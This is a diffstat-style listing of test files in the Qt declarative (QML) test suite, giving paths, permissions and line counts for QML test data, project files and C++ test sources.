-rw-r--r--tests/auto/declarative/qdeclarativestates/data/parentChange6.qml30
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/propertyErrors.qml10
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/reset.qml19
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/restoreEntryValues.qml14
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/returnToBase.qml21
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/script.qml10
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/signalOverride.qml18
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/signalOverride2.qml9
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash.qml15
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash2.qml24
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash3.qml27
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/unnamedWhen.qml14
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/urlResolution.qml12
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/whenOrdering.qml11
-rw-r--r--tests/auto/declarative/qdeclarativestates/qdeclarativestates.pro15
-rw-r--r--tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp1531
-rw-r--r--tests/auto/declarative/qdeclarativestyledtext/qdeclarativestyledtext.pro11
-rw-r--r--tests/auto/declarative/qdeclarativestyledtext/tst_qdeclarativestyledtext.cpp101
-rw-r--r--tests/auto/declarative/qdeclarativesystempalette/qdeclarativesystempalette.pro12
-rw-r--r--tests/auto/declarative/qdeclarativesystempalette/tst_qdeclarativesystempalette.cpp192
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/alignments.qml41
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/alignments_cb.pngbin0 -> 496 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/alignments_cc.pngbin0 -> 556 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/alignments_ct.pngbin0 -> 533 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/alignments_lb.pngbin0 -> 496 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/alignments_lc.pngbin0 -> 535 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/alignments_lt.pngbin0 -> 514 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/alignments_rb.pngbin0 -> 505 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/alignments_rc.pngbin0 -> 559 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/alignments_rt.pngbin0 -> 539 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/elideimplicitwidth.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/embeddedImagesLocal.qml5
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/embeddedImagesLocalError.qml5
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/embeddedImagesRemote.qml5
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/embeddedImagesRemoteError.qml5
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml23
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/http/exists.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/lineCount.qml15
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/lineHeight.qml15
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/qtbug_14734.qml10
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/rotated.qml18
-rw-r--r--tests/auto/declarative/qdeclarativetext/qdeclarativetext.pro21
-rw-r--r--tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp1340
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/CursorRect.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/alignments.qml41
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/alignments_cb.pngbin0 -> 496 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/alignments_cc.pngbin0 -> 556 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/alignments_ct.pngbin0 -> 533 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/alignments_lb.pngbin0 -> 496 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/alignments_lc.pngbin0 -> 535 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/alignments_lt.pngbin0 -> 514 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/alignments_rb.pngbin0 -> 505 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/alignments_rc.pngbin0 -> 559 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/alignments_rt.pngbin0 -> 539 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/cursorTest.qml9
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/geometrySignals.qml12
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml24
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/http/ErrItem.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/http/NormItem.qml6
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTest.qml22
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestFail1.qml18
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestFail2.qml18
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml18
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/http/qmldir4
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/httpfail/FailItem.qml5
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/httpslow/WaitItem.qml5
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/inputmethodhints.qml6
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselection_default.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false_readonly.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false_words.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselection_multiline.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true_readonly.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true_words.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/navigation.qml24
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/positionAt.qml9
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/readOnly.qml12
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/qdeclarativetextedit.pro14
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp2819
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/cursorTest.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/echoMode.qml11
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/geometrySignals.qml12
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/halign_center.pngbin0 -> 293 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/halign_left.pngbin0 -> 291 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/halign_right.pngbin0 -> 292 bytes
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment.qml22
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml24
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/inputmethods.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/masks.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/maxLength.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselection_default.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false_readonly.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselection_false_words.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true_readonly.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true_words.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/navigation.qml24
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/positionAt.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/readOnly.qml12
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/validators.qml22
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/qdeclarativetextinput.pro14
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp2935
-rw-r--r--tests/auto/declarative/qdeclarativetimer/qdeclarativetimer.pro13
-rw-r--r--tests/auto/declarative/qdeclarativetimer/tst_qdeclarativetimer.cpp344
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType4.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/BindingsSpliceCorrectlyType5.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.2.qml9
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.3.qml10
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/autoBindingRemoval.qml9
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/bindingAssignment.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/bindingConflict.qml8
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/bindingRead.qml5
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/bindingVariantCopy.qml13
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.1.qml29
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.2.qml31
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.3.qml36
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.4.qml27
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.5.qml27
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.1.qml42
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.2.qml42
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.3.qml42
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/deletedObject.js13
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/deletedObject.qml11
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/enums.1.qml6
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/enums.2.qml6
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/enums.3.qml6
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/enums.4.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/enums.5.qml10
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/font_read.qml18
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/font_write.2.qml6
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/font_write.3.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/font_write.4.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/font_write.5.qml14
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/font_write.qml16
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_read.qml22
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_write.qml21
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/point_read.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/point_write.qml6
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/pointf_read.qml8
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/pointf_write.qml6
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_read.qml10
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_write.qml9
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/rect_read.qml10
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/rect_write.qml9
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/rectf_read.qml10
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/rectf_write.qml9
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/returnValues.qml17
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/scriptAccess.qml9
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/scriptVariantCopy.qml14
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/size_read.qml8
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/size_write.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/sizef_read.qml9
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/sizef_write.qml6
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_read.qml8
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror.qml6
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror2.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror3.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror4.qml10
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/staticAssignment.qml5
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/valueInterceptors.qml8
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/valueSources.qml5
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/varAssignment.qml14
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/variant_read.qml9
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_read.qml8
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_write.qml7
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_read.qml9
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_write.qml8
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_read.qml10
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_write.qml9
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/qdeclarativevaluetypes.pro19
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/testtypes.cpp48
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/testtypes.h190
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp1017
-rw-r--r--tests/auto/declarative/qdeclarativeview/data/error1.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeview/data/resizemodedeclarativeitem.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeview/data/resizemodegraphicswidget.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeview/qdeclarativeview.pro13
-rw-r--r--tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp321
-rw-r--r--tests/auto/declarative/qdeclarativeviewer/data/orientation.qml19
-rw-r--r--tests/auto/declarative/qdeclarativeviewer/qdeclarativeviewer.pro19
-rw-r--r--tests/auto/declarative/qdeclarativeviewer/tst_qdeclarativeviewer.cpp373
-rw-r--r--tests/auto/declarative/qdeclarativevisualdatamodel/data/datalist.qml19
-rw-r--r--tests/auto/declarative/qdeclarativevisualdatamodel/data/modelproperties.qml17
-rw-r--r--tests/auto/declarative/qdeclarativevisualdatamodel/data/modelproperties2.qml17
-rw-r--r--tests/auto/declarative/qdeclarativevisualdatamodel/data/objectlist.qml19
-rw-r--r--tests/auto/declarative/qdeclarativevisualdatamodel/data/singlerole1.qml11
-rw-r--r--tests/auto/declarative/qdeclarativevisualdatamodel/data/singlerole2.qml11
-rw-r--r--tests/auto/declarative/qdeclarativevisualdatamodel/data/visualdatamodel.qml11
-rw-r--r--tests/auto/declarative/qdeclarativevisualdatamodel/qdeclarativevisualdatamodel.pro16
-rw-r--r--tests/auto/declarative/qdeclarativevisualdatamodel/tst_qdeclarativevisualdatamodel.cpp606
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/BaseWorker.qml24
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/Global.js1
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/script.js4
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onCall.js6
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onLoad.js5
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/script_fixed_return.js4
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/script_include.js5
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/script_pragma.js6
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/worker.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onCall.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onLoad.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/worker_include.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/worker_pragma.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/qdeclarativeworkerscript.pro16
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp292
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.expect10
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.qml44
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/abort.reply3
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/abort_opened.qml60
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/abort_unsent.qml55
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/attr.qml78
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/attr.xml1
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/callbackException.qml25
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/cdata.qml133
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/cdata.xml2
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/constructor.qml14
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/defaultState.qml30
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/document.qml56
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/document.xml3
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/domExceptionCodes.qml60
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/element.qml145
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/element.xml1
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders.qml66
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_args.qml23
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_sent.qml20
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_unsent.qml16
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.expect7
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.qml76
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.reply8
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_args.qml23
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_sent.qml20
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_unsent.qml16
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/instanceStateValues.qml33
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/invalidMethodUsage.qml160
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/open.qml54
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/open_arg_count.1.qml18
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/open_arg_count.2.qml18
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/open_invalid_method.qml16
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.expect7
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.reply3
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/open_network.wait0
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/open_sync.qml17
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/open_user.qml54
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/open_username.qml54
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/redirectError.qml23
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/redirectRecur.qml23
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/redirects.qml22
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/redirecttarget.html1
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/responseText.qml54
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/responseXML_invalid.qml24
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/seconddocument.html1
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_alreadySent.qml28
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.1.expect10
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.1.qml22
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.2.qml24
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.3.qml24
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.4.expect10
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.4.qml24
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.5.qml24
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.6.expect10
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.6.qml22
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.7.qml24
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_data.reply3
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData.qml27
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData.reply3
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData_GET.expect7
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_ignoreData_PUT.expect7
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/send_unsent.qml16
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.expect9
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.qml29
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader.reply3
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_args.qml18
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_illegalName.qml58
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_sent.qml32
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/setRequestHeader_unsent.qml17
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/staticStateValues.qml24
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/status.200.reply3
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/status.404.reply3
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/status.expect7
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/status.qml79
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/statusText.qml79
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/testdocument.html1
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/text.qml129
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/text.xml1
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.html1
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.qml29
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.xmlbin0 -> 154 bytes
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/qdeclarativexmlhttprequest.pro21
-rw-r--r--tests/auto/declarative/qdeclarativexmlhttprequest/tst_qdeclarativexmlhttprequest.cpp1129
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/model.qml10
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/model.xml54
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/model2.xml14
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/propertychanges.qml10
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/recipes.qml10
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/recipes.xml90
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/roleCrash.qml7
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/roleErrors.qml10
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/roleKeys.qml13
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml8
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/unique.qml8
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/qdeclarativexmllistmodel.pro20
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp988
-rw-r--r--tests/auto/declarative/qmetaobjectbuilder/qmetaobjectbuilder.pro8
-rw-r--r--tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp1268
-rw-r--r--tests/auto/declarative/qmlshadersplugin/main.qml80
-rw-r--r--tests/auto/declarative/qmlshadersplugin/qmlshadersplugin.pro18
-rw-r--r--tests/auto/declarative/qmlshadersplugin/tst_qmlshadersplugin.cpp205
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/basic1.qml30
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/basic2.qml34
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/basic3.qml32
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/basic4.qml36
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/basic1.0.pngbin0 -> 948 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/basic1.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/basic2.0.pngbin0 -> 948 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/basic2.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/basic3.0.pngbin0 -> 948 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/basic3.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/basic4.0.pngbin0 -> 948 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/basic4.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/enforcerange.0.pngbin0 -> 680 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/enforcerange.1.pngbin0 -> 680 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/enforcerange.2.pngbin0 -> 704 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/enforcerange.3.pngbin0 -> 695 bytes
